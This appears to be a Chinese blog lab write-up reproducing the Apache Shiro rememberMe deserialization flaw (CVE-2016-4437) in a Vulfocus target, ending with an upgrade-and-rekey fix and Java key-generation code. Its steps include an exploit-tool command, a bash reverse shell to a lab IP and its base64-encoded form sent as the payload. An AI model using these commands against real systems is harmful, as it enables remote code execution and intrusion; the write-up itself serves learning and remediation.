CVE-2016-4437 Shiro反序列化漏洞复现
一、漏洞概述
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
三、漏洞原理
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。
AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。
————https://www.cnblogs.com/peace-and-romance/p/15669560.html
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启vulfoucs并获取实验镜像
2.使用Shiro_exploit检测是否存在shiro漏洞
项目链接:https://github.com/insightglacier/Shiro_exploit
1 | python3 shiro_exploit.py - u http: / / 192.168 . 117.131 : 45182 |
vulnerable:Ture即表示存在shiro漏洞
3.监听4216端口
4.对反弹shell命令进行加密并利用
1 2 3 | bash - i >& / dev / tcp / 192.168 . 117.131 / 4216 0 >& 1 base 64 加密 bash - c {echo,YmFzaCAtaSA + JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64, - d}|{bash, - i} |
进而利用漏洞,获取flag,完结撒花
1 | python3 shiro_exploit.py - t 3 - u http: / / 192.168 . 117.131 : 45182 - p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNy4xMzEvNDIxNiAwPiYx}|{base64,-d}|{bash,-i}" |
六、修复方式
修复建议:升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥。
利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int),替换key修复指南:如以下内容!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | package com.iot.mainsite.component.shiro; import lombok.extern.slf4j.Slf4j; import org.springframework.context.annotation.Bean; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.security.NoSuchAlgorithmException; /** * <p>GenerateCipherKey 此类用于:</p> * <p>@author:hujm</p> * <p>@date:2021年12月07日 19:02</p> * <p>@remark:</p> */ @Slf4j public class GenerateCipherKey { /** * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int) * * @return 随机生成秘钥 */ @Bean public static byte [] generateNewKey() { KeyGenerator keyGenerator; try { keyGenerator = KeyGenerator.getInstance( "AES" ); } catch (NoSuchAlgorithmException e) { String msg = "Unable to acquire AES algorithm. This is required to function." ; throw new IllegalStateException(msg, e); } keyGenerator.init( 128 ); SecretKey secretKey = keyGenerator.generateKey(); byte [] encoded = secretKey.getEncoded(); log.info( "生成随机秘钥成功!" ); return encoded; } }<br>————https: //blog.csdn.net/m0_67401835/article/details/123828791 |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」